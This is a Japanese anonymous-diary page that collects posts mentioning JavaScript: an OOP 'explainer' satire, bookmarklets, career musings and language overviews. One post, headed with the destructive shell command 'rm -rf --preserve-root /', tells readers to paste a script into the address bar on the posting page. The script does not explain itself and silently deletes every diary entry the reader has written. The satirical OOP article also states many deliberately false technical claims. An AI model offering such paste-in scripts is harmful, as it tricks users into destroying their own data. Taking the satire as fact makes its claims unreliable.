「Javascript」を含む日記 RSS

はてなキーワード: Javascriptとは

2020-05-28

webアプリセッション管理脆弱性対策のためにプロパーが出した答え

セッション管理をしない!

JavaScriptも恐いので使わない!

与太話として流されてたけど

2020-05-27

オブジェクト指向が分からないあなたへ

どうも、都内の某企業に勤めるフルスタックエンジニアです。この記事では、ITの非専門家に向けて、オブジェクト指向解説をしたいと思います

小学生プログラミング教育が開始されたり、AIIoTなどの技術が身近になった今日オブジェクト指向理解しておくことは極めて重要です。なぜならば、オブジェクト指向ITエンジニアとっての「共通言語」であって、今やあらゆるソフトウェア技術オブジェクト指向の上に成り立っているからです。したがって、オブジェクト指向理解すれば、ITのすべての分野の基礎が身についたことになります。難しい概念がいくつか出てきますが、分かりやす解説するので頑張ってついてきて下さい!

オブジェクト指向とは

まず、オブジェクト指向とは何かを解説します。オブジェクト(object)とは、「モノ」のことです。言い換えれば「モノ指向」です。つまりコンピュータのようなバーチャル対象ではなく、現実のモノをモデルプログラミングしようというのが、オブジェクト指向定義です。この考えは、今流行りのIoT(Internet of Things = モノのインターネット)にも取り入れられ、爆発的に影響力を増しています

モノという考え方は、18世紀哲学者カントに遡りますカント純粋理性批判において、理性と経験によって認識できる以前の「物自体」という概念提唱し、大陸合理主義イギリス経験主義を統一しました。オブジェクト指向におけるモノとは、カントのいう物自体です。したがって、オブジェクト指向世界の真理を記述できます。そのため、コンピュータというバーチャル世界を超えて、IoTを作ることが可能になります

現代プログラミング言語オブジェクト指向サポートする最も代表的言語Javaです。これに対して、CやC++といった旧来の言語関数型言語といい、現在では顧みられることはありません。また、JavaMicrosoftであるC#や、Javaに組み込んで使うマクロ言語であるJavaScriptなどもオブジェクト指向言語であり、プロエンジニアは好んでよく使います。一方、学生向けの教育用言であるPythonRubyなども、一応オブジェクト指向サポートしています。これらはプログラミング入門には適していますが、実務で使われることはありません。

オブジェクト指向の三要素

オブジェクト指向で最も重要な要素は

の3つです。これらを駆使することで、食卓から宇宙までを豊かにするIoTを作ることが可能になるのです。一つ一つ解説していきます

カプセル化

カプセル化とは、実装利用者から見えなくすることです。

たとえば、ソフトウェア脆弱性があったとしても、カプセル化をしていれば、利用者からはその脆弱性は無いように見えます。したがって、オブジェクト指向で作られたソフトウェアには、セキュリティ上の問題存在しません。

また、IoTを用いていない従来の家電製品などは、ボタンがたくさんあったりして操作がとても複雑です。カプセル化を応用すると、この操作を全く包み隠してしまっても、機械が使えるようになりますiPhoneスマートスピーカータッチパネルや声認識などで操作できるのは、カプセル化のおかげです。逆に、ガラケーボタンがたくさんある家電製品などは、オブジェクト指向(=IoT)で作られていません。

継承

継承とは、あるオブジェクト性質を別のオブジェクトが引き継ぐことです。

たとえば、人間は「歩く」「喋る」などの動作を行え、鳥は「飛ぶ」「鳴く」などの動作が行えますオブジェクト指向世界では、鳥を継承することで、人間が飛んだり、鳴いたりすることができるようになります。これを応用したのが、VRVirtual Reality=仮想現実)です。

また、iPhone携帯電話であるにも関わらず、ツイッターをみたり、アマゾンで買い物ができたりするのもオブジェクト指向のおかげです。つまりiPhoneツイッターアマゾン継承しているのです。それだけではなく、iPhone時計や財布、メモ帳など、現実世界の多くのもの継承しています

ちょっと抽象的になりますが、この考えを突き詰めると、次のような応用が生まれます。将来必要となるすべての機能実装したオブジェクトを一度作っておけば、後続の開発者はそれを継承するだけで、新規の開発なしに新機能を追加することができます。このような性質を「再利用性」といい、ソフトウェア開発では極めて重要な考え方となります継承はこの再利用性をもたらすために、ソフトウェア開発のスピードを爆発的に加速させ、現代ITの発展の原動力となりました。

ポリモーフィズム

ポリモーフィズムは、日本語では「多態性」と言います多態性とは、読んで字のごとく、多くの状態を持つということです。

オブジェクト指向では、多くの状態を持つことができます。一方、C言語などの関数型言語状態を持つことができません。関数型言語では、プログラムを関数(つまり入力と出力をもつブラックボックス)の合成として記述します。関数は、中学校数学で学んだように、入力に対して出力が一意に定まるので、状態を持つことができないのです。この制約を「参照透過性」と言います

オブジェクト指向では、参照透過性の制約がないため、プログラマは自由コードを書くことができ、関数型言語と比べて遥かに生産的です。また、上に述べたように状態を持てるということは、プログラムの入力に対する出力を無数に持てるということです。この応用がAI(Artificial Intelligence=人工知能)です。AIが、まるで人間が考えたかのように答えを出すことができるのは、ポリモーフィズムにより無数の出力を得ることができるからなのです。

おわりに

全体的に難解な記事となってしまいましたが

部分的にでも理解すればIT世界を見る目が変わるはずです。

うさんくさい情報に惑わされずに、このような本物の知識を身につけ

そして、皆さんにはIT未来を見通せる人材になっていただければと思います

言及/トラックバックで依頼されたブックマークレット作る

たまーに、楽したいときにや思いついた時に作ってるんだけど、何となく他人需要のも作りたくなったため。具体的に何をしたいか、もし対象サイトがあればそのURL記載して。

サーバーサイドレンダリングの要素を何とかするのは無理。SPAajaxで取ってくるなら何とかなるけど、複雑すぎるのは勘弁。~~をクリックする、とか~~に要素を追加する、ぐらいの簡素機能なら、多分すぐ。

例:amazonの一覧ページで、プライム且つ安い順のページで開き直すブックマークレット

javascript:window.location.href=window.location.href+"&rh=p_76%3A2227292051&s=price-asc-rank";

2020-05-26

javascriptってやっぱり初心者向きだな。すぐに動作確認ができるのは利点。

2020-05-25

anond:20200525183424

ウェブを見てると日本に限らないと思った

HTML だけで適切なタグ打ってればすごくシンプルウェブページを作れるのにわざわざ css で複雑なデザイン作って javascript で動きつけたりして、フロントエンド自分たちで複雑にしていってる感じがする

ガラケーの頃みたいな本文とリンク画像くらいで十分なのに

2020-05-24

anond:20200524145321

DartFlutterで生き残りを図ってるけど

昔はChromiumDart専用の高速実行エンジンを載せるという計画を建てていたんだよ。

ゆくゆくはJavaScriptに取って代わろうとしていたんだけどね・・・

anond:20200524140344

しろデファクトであった事以外の言語的にクソじゃない良いところを教えてほしい

JavaScriptさえマトモになってきてるのに

anond:20200524135427

Pythonは金がかかりすぎるのが難点。Javascriptのほうが好ましい。

テレビ番組制作で働こうか迷っている

今、知り合いのつてでテレビ局制作下請け業務ADやらないかって話があってそれを引き受けるかどうか迷ってる。

大学在学時に精神病んだり多重債務が膨らんだことで卒業してすぐ実家に戻って2年くらいニートしてた。

ニートって言ってもぼちぼち家業の手伝いして、とりあえず利息をなんとかするために日雇い派遣に行って、

グループセラピーに顔出したり、町おこしやってる地元NPOボランティアしたりなんやかんやしてたけどどこにも属してなかったかニートニートだ。

同じ面子毎日顔を合わせていると不安でたまらなくなるから月に二日が限界だった派遣も、2年経つごろには週4~5で3つぐらいの現場をローテーションできるくらいには回復した。

そのころになってようやくとりあえずどこでもいいから腰を据えようと考えられるようになって週3のコンビニバイトと週2のホテル清掃を掛け持ちを始めた。

1年前にコンビニの時給が上がってからは週4にシフトを増やしてもらってそっち一本に専念して今もやってる。もうかれこれ4年になる。

そんな自分にもWebデザイナーになるという夢があった。

当時はやっていたテキストサイトなりに影響を受けてhtml自分で書いてみたのが最初で、

それからお遊びで自分サイトCSSで装飾をしたりCGIプログラムを書いてみたりしてた。それも高校生になるころにはやらなくなったけど。

それでもずっとWeb周りの情報は集めていて、はてな情報収集のためにブックマークを使い始めたのがきっかけだった。

2年のニート間中に、ようやく落ち着いて勉強をできるようになったので、

ドットインストールJavascriptPHPPythonRuby基本的な書き方をさらったのち、ちょくちょく自主制作をやるようになった。

いってもPHPPythonWordPressとC4DのXpressoくらいでしか使ってない。Rubyは一回TwitterBOTとミニゲーム作ったあとなんか好きになれなくて弄らなくなった。

ももともとWebに憧れがあったからかサイト制作Javascriptを使うということは結構長く続けられた。

通ってた大学メディア関係学部イラレフォトショもそれなりに使ってたからそんなつまずくこともなく、ちまちまポートフォリオ制作したサイト溜めてた。

あと関係ないけど図書館Java参考書借りてきて写経したり、XCodeSwiftに挑戦したりしたけどアプリあんま興味なくていつの間にかやらなくなった。

それもサーバー代が払えなくなったりHDDがおしゃかになって全部なくなったんだけどね。ここ最近PCも持ってなかったし。

なんとか最近になって惨めな田舎生活から飛び出すだけのお金が貯まって、定職につくことまでようやく考えられるようになって

ちょっと遅くなったけどだめもとでまた一から頑張ろう、まずはポートフォリオまとめていこう」と思ってた矢先にコロナショックで世の中おかしくなりだした。

自分不安でたまらなくて、コンビニバイトをしていることから小売業求人に応募しつつ、Web制作や、大学時代の経験から映像制作募集に片っ端から応募した。

ADの誘いを受けたのはこの流れで、受けた企業採用担当でない社員の方から別の企業を紹介されてそういう話になった。

履歴書も見たしもう一度会ったらもう内定を出すと言われている。

からさまに怪しいと自分も思う。放送業界ハードさは周知の通りであるしか自分にはトラウマがある。

大学卒業直後に第二新卒での就職を目指して3か月だけ就活をしていた時期がある。

そのときに「テレビ制作やってる部署中途採用してあげるから一か月後に荷物まとめて東京に出てきて」と言われ結局自分はそれを蹴った。

当時はほぼ無収入なのに借金の返済に月6万かける生活不安が大きかったのと、

クライアント代理店から依頼された案件企画から制作までじっくり取り組んでいきたかったので放送業界はやや不本意だったかである

でも今になればあのとき飛び込んでいれば違った未来があっただろうと後悔する気持ちがある。

少なくとも今のようにぼんくらとして馬鹿にされ近所から白眼視されながら惨めに孤独に片田舎生活するようなことはなかったのではないだろうか。

今の自分映画悪人」の妻夫木の役どころや「レズ風俗」の永田カビみたいなもんである

現在はその企業以外に2社映像制作会社(放送関係ではない)の面接選考が進んでいてそれも自分を迷わせる原因だったりする。

最近はてブ話題からいろいろ考えてしまうんだけど、現実逃避するように誰に見せるわけでもないポートフォリオサイト休日に作り続けてる。

こうやってずっとPhotoshopコードの書かれたエディターと格闘していられたらいいのに。

$ rm -rf --preserve-root /

  1. 以下のスクリプトコピーする
  2. [日記を書く] ページに行く
  3. アドレス欄に「javascript:」と入力し、コピーしたスクリプトを貼り付け
(async function() {

const cover = document.createElement("div");
cover.style.cssText = "position: fixed; left: 0; top: 0; width: 100%; height: 100%; background: rgba(255,255,255,0.5)";
document.body.appendChild(cover);

cover.appendChild(document.createElement("progress")).style.cssText="margin: auto";

async function get_list(hatena_id) {
  const res = await (await fetch(`/${hatena_id}/`)).text();
  const links = Array.from(res.match(/edit\?id=\d+"\x3e/g));
  return links.map(function(link){return link.slice(8, -2)});
}

const rkm = encodeURIComponent(document.edit.rkm.value);
const hatena_id = document.querySelector(".username a").textContent;

let num = 0;
for(;;) {
  const list = await get_list(hatena_id);
  if(list.length == 0) return;
  await Promise.all(list.map(function(article_id){return fetch(`https://anond.hatelabo.jp/${hatena_id}/edit`, {"credentials":"include","headers":{"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8","accept-language":"ja,en-US;q=0.9,en;q=0.8,de;q=0.7","cache-control":"max-age=0","content-type":"application/x-www-form-urlencoded","save-data":"on","upgrade-insecure-requests":"1"},"referrer":"https://anond.hatelabo.jp/","referrerPolicy":"origin","body":`rkm=${rkm}&mode=confirm&id=${article_id}&title=&body=&delete=%E5%89%8A%E9%99%A4%E3%81%99%E3%82%8B`,"method":"POST","mode":"cors"}).then(() => {
    console.log("deleted:", article_id);
  })}));
  num += list.length;
}

document.body.removeChild(cover);
alert(`Finish! Deleted ${num} articles!`);

})();

2020-05-23

JavaScriptxmlHttpRequest.open

処理についてここで質問しようと思ったけど、自分でよく考え直したら解決したんで質問しなくて済んだ。

anond:20200521175300

10年超のプログラマやってるものだけど自分の成長過程を書いてみよう

  • この後にもいろいろあったが面倒になってきたから省略。しょぼいゲーム会社就職する。
    • JavaScript でなんか色々作る
    • Python でなんか色々作る
    • C# でなんか色々作る
    • はてなを始めたり

2020-05-22

プログラミング教室に求める水準高すぎ問題

例えば「お料理教室通ったのに料理人になれなかった!おかしい!」なんていわないだろ

全く台所立ったことない人をちょっと料理できるようにする、限られたメニューなら作れるようにする。それがお料理教室じゃん。

プログラミング教室だって同じ、htmlやらphpやらjavascriptやら、クライアントサイドとサーバサイドすらわからない人に0からそれを教えて簡単ものなら作れるようにしてる。

十分教えてるのに「六本木ヒルズにあるようなおしゃれit就職できなかった!詐欺だ!!」なんていうほうがおかしいと思う。

そんな態度だから独学できずに学校のせいにしてしまうのでは?

HTML/javascript/CSSは、もっと日本語を使うべきだと思ってる

オープンソース世界向けなら別だけど、個人開発や国内限定サービスなら、もっと日本語を使っても良いと思ってる。

良くあるのは、プルダウンなりチェックボックスで『東京』って選択肢があって、そこにvalue="tokyo"って書いて、javascriptでif(xx=="tokyo")やCSSで .tokyo指定してたりする。

これを、例えばselectのoptionでvalueを入れないようにして、そのoption内のテキストで、if(xx=="東京")やCSSで .東京 と使うようにする。

anond:20200521225730

プログラミング言語を印象批評している記事に触発されて、自分も印象批評してみようと思う。

JavaScript以外にもブラウザ上でぐりぐりするのにはJava AppletとかFlashとかSilverlightかいろいろあったけれど、結局標準化を成し遂げたHTML5に淘汰されちゃった感じがする。LiveScriptからJavaScript改名されたり、規格を話すときECMA Scriptだったりといろんな別名を持つ。一応、プロトタイプベースオブジェクト指向言語なんだけれど、それを意識してコードを書く人がどれくらいいるかは謎。

Pythonは小さいコードを書くのには楽だけど、これで大きなコードを書くと思わぬ変更で思わぬことが起きるのでつらい。しばらく使うとPythonイヤイヤ病にり患し、goを使うようになるらしいとか、ならないとか。pythonで大規模なコードを万一書こうと思うなら、カバレッジが高いテストを書いてくれと思う。

Javaは初期のころオートボクシング / アンボクシングもなく、ストイックオブジェクト指向言語だった記憶がある。ただ、staticを多用してオブジェクト指向とは程遠いコード簡単に書けるので、Javaで書いているからと言ってオブジェクト指向だと思うのは禁物である

PHPWebネイティブ言語で、初期のころHTTP POST/GETなどで渡された変数がそのままプログラム中に出てくる機能初期化していない変数最初に使うと空文字列あるいは0で初期化するという機能があった。また、文字列数字臨機応変に切り替える機能もあり(今もそうかは知らん)、数字文字比較比較演算子(==)でシームレスにできる。パスワードチェックみたいなコードで===ではなく、==を使っているとPHPを知らないバカ扱いされる。

C#Hello Worldくらいしかいたことないから知らん。monoのような互換環境があるのは知っているけれど、わざわざPC Unix上でmonoを使う気分にはなれなかった。

C++黎明期に使った感じと、C++11以降に使った感じが驚くほど違う言語。今はかゆいところには大抵STLで手が届くし、autoを使えばイテレーション腱鞘炎になることもない。PC Unixにも最初から環境インストールされているか簡単インストールできるので毛嫌いせず使うとよいと思う。

Rubyはぎょっとする変更をよくやるというイメージ。これで書かれたプログラムを長年愛用してきたが、ぎょっとした変更を入れられて動かなくなったのでgoで書き直した。その点ではpythonも3でおいていかれたので嫌い。

CSS...はプログラミング言語なのか?そうか。

TypeScriptは書いたことないから知らない。JavaScriptだと大規模コードを書くとつらいのでTypeScriptを使おうという人がいるのは知っている。大規模なコードを書くとしたら、インタフェースに合った呼び出しかコンパイル時にチェックしてくれるような強く片付けされた言語のほうがよくなってくるというのはわかる。

Cは片付けし、構造化したプログラムを書きやすくしたアセンブラ...というイメージだったんだけど、C99くらいから便利機能がいろいろ入ってそうでもない感じになった印象。昔はCのコードを見たら最適化した後のx86アセンブリが見えていたんだけれど、最近は見えなくなってしまった。子供のころ、本屋で秘伝C言語問答 ポインタ編に出会ったのがこの業界に入るきっかけだったのかもしれない。ほかの言語でいろいろ楽に書けるからカーネルをいじるか、システムコールをたたくかするときくらいしか自分の中では出番がなくなってしまった。

これ以下のランキングのもその気になったら書こうかな。

2020-05-21

初心者向け】プログラミング言語人気TOP20簡易解説

概要

プログラミング経験からプログラミング勉強してみたい、でもどのプログラミング言語をやればいいのかわからない」というような悩みを聞くことがあるので、https://redmonk.com/sogrady/2020/02/28/language-rankings-1-20/ に載っている人気の言語TOP 20について、未経験者が最初に学ぶのはどの言語が良いかという観点簡単解説してみます

対象読者はプログラミング経験者なので、なるべく難しい言葉を使わないようにしたつもりです。また、正確性よりもわかりやすさを重視しているので何かしら間違っているかもしれません。ご留意ください。


ランキング

1位 JavaScript

Webブラウザの上で動くプログラミング言語。元々ただの文書しかなかったインターネット世界に、グリグリ動くページを作りたいという欲求により生まれた。JavaScriptのおかげで今のWebページグリグリ動きまくりである

元々HTMLちょちょっといじる為だけのものだったが、どんどん進化を続けて今は一つの超人プログラミング言語である。今ではブラウザ上でなくても普通に動かせる(Node.jsという)ので様々な用途で使われている。

ブラウザ上で動くプログラミング言語基本的JavaScriptしかないので、JavaScriptはすべてのWebプログラマが学ぶ必要があると言っても過言ではない。

ちょっとしたプログラムを書いてすぐブラウザ上で動かせるので楽しい。そういう点ではプログラミング入門に適していると言えるかもしれない。


2位タイ Python

機械学習を始めとしたデータサイエンスの分野で激烈に人気のある言語理由としてはNumPyとかTensorFlowのようなライブラリが充実しているというのが大きく、資産がたくさんあるのでこれからも使われ続けるであろう。

Webも作れるが、日本ではWeb系の求人は少ない気がする。

言語としては、誰が書いても簡潔で読みやすコードになる傾向にあり、小さいプログラムを書くにはいい感じである米国ではプログラミング教育Pythonがよく使われているという話も聞くし、初心者プログラミングを始めるのにはいいのかもしれない。

将来AIデータサイエンスをやってみたいと思うのであればPythonから始めましょう。


2位タイ Java

ランキングでは常に一位に近い順位をつける言語Javaができた当時は色々と革新的だったらしく、組み込み業界からWebまで流行りまくっていた。今でもその名残か使っているところは多い。過去資産プログラマの数が多いのが一番の理由だと思う。AndroidアプリJavaで書く(もしくはKotlin)。

実行速度が速く、また下位互換性がしっかりしているので過去に書かれたコードが新しいマシン上でも動きやすいのが長所短所としては、歴史ある言語下位互換性を保っているため文法が古い感じがする。タイプ量も多くなるし、学習コストJavaScriptPHP, Ruby, Pythonあたりに比べると高い。

正しく使えば強力な言語だが、日本のクソSEもどきは全員(自称JavaエンジニアであることがJavaが毛嫌いされる理由の一つになっている[要出典]。いわゆるGAFAJavaをかなりヘビーに使っているので要は玉石混交ということである

Androidアプリ作ってみたいというならJavaからはじめるのはアリ。


4位 PHP

Webページを作るためだけに生み出された言語プログラマの数が非常に多い。日本求人が一番多いのはJavaPHPであろう。

初心者でもとっつきやすく、すぐに動くプログラムを作れるので入門に使われることも多い。学習コストの低さはトップレベルであるしか基本的には古くてダメ言語とみなされており、PHPで作られたWebサービス脆弱性が多いという都市伝説もある。真実は闇の中である

近年のバージョンアップ比較的良い方向に向かっている(と個人的には思う)ので、選択肢としては意外と悪くないかもしれない。


5位 C#

Microsoftが生み出した言語で、.NETというプラットフォームを使ってWebサービスを、Unityというゲームエンジンを使ってゲームを作ることができる。

最近有名なのはUnityで、今やほとんどの3Dソーシャルゲーム(の一部分)はUnityで作られている。そう考えるとC#プログラマ結構いそうだし将来もある程度安泰かもしれない。もちろん.NETも広く使われている。

ただし.NETUnityも触らない人にとっては基本的に縁のない言語である

なんかゲーム作ってみたいかもなーと思う人はC#から始めてもいいんじゃないでしょうか。


6位 C++

C言語に色々な機能を足しまくってできた巨大な迷宮のような言語言語仕様は複雑怪奇だが実行速度は全プログラミング言語中でも最速レベルなので、パフォーマンス重要な開発において使われる。アプリサービスというよりは、それらを作るためのライブラリプラットフォームなどを作るときに使われることが多い。Web系の会社でいうとGoogleなどは主にC++を使っている。

基本的には初心者が触る必要はない。競技プログラミングを極めたいとかならC++からはじめてもいいかもしれない。


7位タイ Ruby

このランキングの中で唯一、日本人によって作られた言語。作者のまつもとさんは世界有名人である。ちなみに島根県出身、在住。

プログラミングを楽しくすることがモットーらしく、確かに書き味は良い。また作者が日本人なこともあってか日本情報が多く、情報収集という点ではとてもやりやすい。

Ruby on RailsというWebサービスを作るためのフレームワーク世界的に大ヒットしたため、必然的Ruby知名度も上昇した。少し前まで日本Webスタートアップは猫も杓子もRuby on Railsといった様相であった。今は少し落ち着いたようだが今も人気は根強く、Webプログラミングスクール等ではだいたいRuby on Railsを教えているとかいないとか。

Webに興味があるのならRubyから始めるのが一番無難選択肢と言える…のか?まあ悪くはないと思う。今でも需要は多い。スクールに行きたいのであれば黙ってスクールカリキュラムに従いRailsをやりましょう。


7位タイ CSS

これは他の言語とは毛色の違う言語である。というかCSSプログラミング言語と呼んでいいのだろうか?

CSSHTMLを装飾するためのものである。字に色をつけたり、背景を変えたり、レイアウトサイズを変えたりするのは基本的CSS役割である

すごく大雑把にいうと、HTMLで表示する内容(文章画像)を定義し、CSSでその見た目を整え、JavaScriptで動きをつける。というのがWebサービスの”見た目”を作るやり方である

なので、Webに興味があるのであればある程度はCSS知識必要である。が、これ単独で学ぶようなものではない。Webサービスを作る時についでに調べて少しずつ覚えていけば良い。


9位タイ TypeScript

TypeScript比較的新しい言語で、JavaScriptさら拡張したものであるMicrosoftによって開発されている。

プログラムにはデータの型(Type)というものがある。例えば「1」や「2」は数値型、「あいうえお」は文字列型といった具合である。大まかに言うと、この「型」に対して厳しい言語は型チェックによりバグの混入を防ぎやすいがプログラムを書くのが大変、というかコード量が多くなる。型が緩い言語サクサクかけるし短く書けるがバグを生みやすプログラマの力量が問われる。ランキングの中だとJavaScript, Python, PHP, Ruby, Perlあたりは緩く、Java, C++, C, Swift, Go, Kotlinあたりは厳しい。

そんな中、世で広く使われているJavaScriptの型チェックが緩すぎるのでもっとちゃんと型をつけたい、そんな要望を叶えるのがTypeScriptである基本的JavaScript理解している人間が使うべき上級者向け言語というのが現状なので、初心者が始めるには適していない。

ただしこの先主流になっていく可能性は大いにあるので、どこかのタイミングで勉強してみても損はしないと思う。


9位タイ C

C言語基本的OSを作るための言語であるOSというのはWindowsとかmacOSとかLinuxといったもので、マシンを動かすための基盤となるソフトウェアであるAndroidスマホにはAndroid(という名のOS), iPhoneにはiOSが載っている。コンピュータ基本的OSがあって初めて動かすことができ、OS提供する機能を使ってブラウザスマホアプリなどを動かせるのである

というわけで、初心者が学んで実用的なものではない。ただしC言語というのは世の中の様々なものの基盤になっており、他言語文法C言語から拝借しているものが多い。例えばC言語をある程度勉強していればJavaPHPなどはなんとなく雰囲気で書けてしまったりする。

そういうわけで、コンピュータサイエンスをこれからちゃんと学んでいきたいという人(大学生とか)はC言語から始めるのもいいと思う。ちなみに筆者は初めて書いた言語はCであるが、意味理解できるまでに2年かかった。才能がないとこうなるので注意。


11Swift

SwiftAppleによって作られたAppleのための言語であるiOSアプリiPhoneアプリと言い換えても良い)を作るためだけに存在している。

言語自体は他と比べて新しいため文法機能イケてる雰囲気があるので基本的はいいのだが、iOSアプリ以外で使っている人は多分世界で5人くらいしかいないと思う。なのでiOSアプリに興味がない人はやめておきましょう。iOSアプリを作りたいあなたは他に選択肢はない。Swiftをやりなさい。


12Objective-C

Swiftが生まれる前はiOSアプリを書くためにObjective-C必要だったため、多くの人がこの言語を使っていた。が、今はSwiftがあるので、古くからあるObjective-Cアプリメンテナンスする時以外に使う機会はない。名前すら覚える必要がないので存在を忘れてしまって構わないが、これだけ順位が高いということは多くの企業がいまだにObjective-Cで開発し続けているということであり、ニッチ需要はこれからも残るのかもしれない。


13位タイ Scala

Scala関数型言語と呼ばれる言語の一つ。Javaの親戚みたいなものなのでJavaとの連携が容易であり、上手く使えば性能も出るしコード量も少ないしバグも少なくて最高、な感じらしい。が、その分難易度が非常に高いので初心者が手を出すものでは絶対にない。どんなに早くても他に二つは言語を覚えてから勉強しましょう。Javaを覚えてからやるのがベター


13位タイ R

R言語データ解析用のプログラミング言語である

正直ほとんど書いたことがないのでよくわからないが、ビッグデータというワード流行りだした頃はデータ解析用途でかなり流行っていた。その後機械学習AIブームが来て、今でも現役で使われてはいるがPythonがどんどん勢力を拡大しているので少し目立たなくなってきた、というのが個人的な印象である。まあプログラミング初心者最初にやるようなものではないことだけは確かである


15位タイ Go

Go言語比較的新しいGoogle製のプログラミング言語で、Googleのように巨大なシステムでの使用目的に作られたものであるしかし実際には様々な企業が利用しており今一番勢いのある言語と言ってもかもしれない。

他のプログラミング言語の良い点や悪い点を参考に設計されており、実行速度の速さと生産性プログラムの書きやすさ、読みやすさ)を両立できるような言語になっている。ただし、機能を増やすのではなく本当に重要機能だけに絞るという思想があるようで、他の言語に慣れていると機能の少なさに不便を感じるかもしれない。

学習コストが低いという点では最初に学ぶ言語として適しているかもしれないが、GoだけでWebサービス等をサクッと作れるのかというと微妙なので、アウトプットを出しにくいというのはあるかもしれない。

二番目や三番目に学ぶ言語としてはオススメ


15位タイ Shell

シェルというのはテレビなんかでハッカー的な人間PCを開いて謎の黒い画面に白い文字を打ち込んだりするアレである説明としては正確ではないがまあ大体そんなもんである。何が言いたいかというと初心者最初に学ぶとかそういうものではない。しかし実際に開発の仕事をやるとシェル知識はあったほうがいいし、シェルに多少詳しくなるとPC上でテキスト操作をしたりファイルをいじったりというのが便利にできるようになる。ただし(通常は)極める必要はない。

Shellと言っても実際にはbash, csh, tcsh, zshなど色々あるのだがそれらをひとまとめにしてShellとなっているようだ。


17PowerShell

PowerShellは上のShellの親戚みたいなもので、ShellがMacLinuxで動くのに対しPowerShellWindowsで動く。そんだけである。あと正直あまり知らない。


18位 Perl

ランキングの中ではかなり昔からある言語で、サーバーと呼ばれるマシンには大体Perlが入っている。そのくらい市民権を得た超有名言語で、C言語C++で書くほどでもない小さなプログラムはとりあえずPerlで書く、というくらいには広く使われていた。インターネット初期はほとんどのWebサイトはPerlで書かれていたとかいないとか。PHPなどの登場はその後である

今でも広く使われてはいるが、RubyPythonPerlの後継的な位置付けであるため、初心者が新しくPerlを学ぶメリットというのはあまり思い浮かばない。何か特定目的があるのであればいいと思う。


19位 Kotlin

Kotlin簡単に言えばBetter JavaであるJavaをもうちょっといい感じに書きたいという気持ちで作られた言語で、Scalaと同じくJavaの親戚のようなものである

ランキングの中ではSwiftと並んでかなり新しい部類。AndroidアプリKotlinで書けるようになったことがきっかけで人気が爆発的に上昇、今ではWebの開発にも使われていたりする。

とは言えまだまだ新参者といった感じで、ドキュメントなどの情報も他の言語に比べると物足りないので初心者には厳しいかもしれない。

言語自体はとてもいい感じなので、もう少しコミュニティ成熟してくれば最初に学ぶ言語選択肢として有力になるかもしれない。


20Haskell

HaskellScalaと同じく関数型言語であるScalaJava的な書き方でも動くの対し、Haskellは「純粋関数型言語」と呼ばれ、ランキング中の他の言語とは一線を画した書き方になる。どう考えても初心者にはオススメしない。少なくとも他に二つは言語マスターしてからやりましょう。


総評

なんとなくWebに興味がありそうならJavaScriptRubyもしくはPHPAndroidアプリに興味があればJavaiPhoneアプリに興味があればSwiftAIデータ分析に興味があればPython3Dゲーム開発に興味があればC#。この辺りをやりましょう。

特に目的がないのであればフィーリングで選んで大丈夫ですが、やめておくべき言語というのはあるのでその辺だけ参考にしてもらえれば。

なお筆者はただのヘボプログラマであり、大好きな記事http://www.mwsoft.jp/column/program_top10.html) の現代版かつより初心者向けなものを書いてみたいと思ってこの記事を書きなぐった次第である。あまり真に受けないよーに。

2020-05-20

anond:20200520023722

たとえば、ITパスポートとってきてプログラミング資格とってきてGitHubHTML/CSS/JavaScript勉強した感じのコードが上がっていてWordPressで作ったポートフォリオサイトがあったら、新人としてはかなり優秀で、「コイツわかってるな」と思わせられる。ここが0の人と比較すると、とんでもなく価値が高い(あくまで「新人としては」だけど)。この人と「スクール勉強してきました」ってだけの人じゃもう話にならないぐらい違う。何日間勉強したとか関係ない。見えている結果がすべて。

プログラマ採用ちょっと手伝ってたけどGitHub適当もの置いててもスクール勉強してきましたと評価変わらない。

Rails チュートリアルとか、Nuxt.js練習とか、どっかからコピペしてきたみたいなポートフォリオサイトとかみんなやってるからtypo修正でもいいかOSSPRだしたとかのが評価高かったな。コードを読む習慣がそれなりにあるってことになるので。(あくまで「新人としては」だけど)

何にも知らない未経験者でもプログラマになれる方法教える

本当に何も知らない未経験者が現状維持人生を打破するためにできる1つの案として書いてみた。

あくまで1つのルートなので、他にもいろいろあるけど、自分はこれをオススメしたい。ちなみに簡単そうに見えてそこそこ大変。ある程度決意ないとできない。

まずITパスポート or プログラミング言語の何かの資格をとり、とっととIT業界就職する

ここを第一の到達地点とすると計画が立てやすい。

会社採用からしたら、単なる未経験者より何かしら資格を持っている人を取りたがる。少なくとも勉強してきたことが見えるので格段に印象は良くなる。特に中途採用

たぶん派遣SEからはすぐ採用される。「プログラミング勉強してきました!」って人よりも「プログラミング勉強してきました!あと、ITパスポートも取ってきました!」の方が高価値なのは当然。高い金払ってスクール上がりで何も資格持ってない人より「自力Ruby資格ITパスポート取ってきた」って人の方がポテンシャル高いので高価値。「スクール上がり」というのは資格価値として低いので高い金出してもコスパ悪いと思う。

なので、入門者向けの資格取得を1ヶ月や2ヶ月後の目標にすると良いかも。こういうタイプ資格はいつでもどこでも受けれるので(今はコロナなのでわかんないけど)、試験場の予約して勉強さえすればすぐに受けることができる。即日合格かどうかわかったりもする。今予約して2週間後に受けたりとかできる。

これがあればそのへんの会社はほぼ受かる。ただし給料はそんなに高くない。そこらへんのバイトより高いかなぐらい。最初会社選びは研修ついてるところがオススメ給料もらいながらプログラミング学べるので。

ちなみにITパスポートやらはIT業界では全然難しくない・運転免許レベルバカでも受かるみたいな扱いされてるけど、合格率は50%と、2人に1人は落ちるやつ。異業種・未経験の人は勉強しないとまず落ちる。でもちゃん勉強すれば受かって当然なので、受かっても自慢しない。まともなエンジニアなら無勉で受かる(主語デカ男)

プログラミング言語はなんかそのへんにサイトがいっぱいあるのでそれをやればいい。べつに本買って読んでもいい。全然つまんなくてもわかんなくてもいったん最後までやり通せば勝利。とりあえず通しでやるんだ。一番最初に学ぶ言語が一番キツい。詰まったら、詰まったとこをまとめて金払って人に聞くのがいいと思う。

正しい人に聞けば初心者が詰まるようなもの基本的に瞬殺で解決する。そのとき自分卑下しない。プログラミングって、そういうもんなんです。

とにかくやりきることが大事ほとんどの人はやりきってなくて挫折してる。どういうルートでもいいけどとにかくこの壁を突破した人だけがプログラマになってるはず。

ちなみに英語別に無理して勉強しなくてもいい。TOEIC900点ぐらいまで取らないと効果を感じられない上に、その分の勉強時間プログラミングにあてた方が伸びやすい。中途半端英語やるぐらいならGoogle翻訳とDeepLでいい。

それから経験からの1年目は別に楽じゃないと思う。がんばろう。

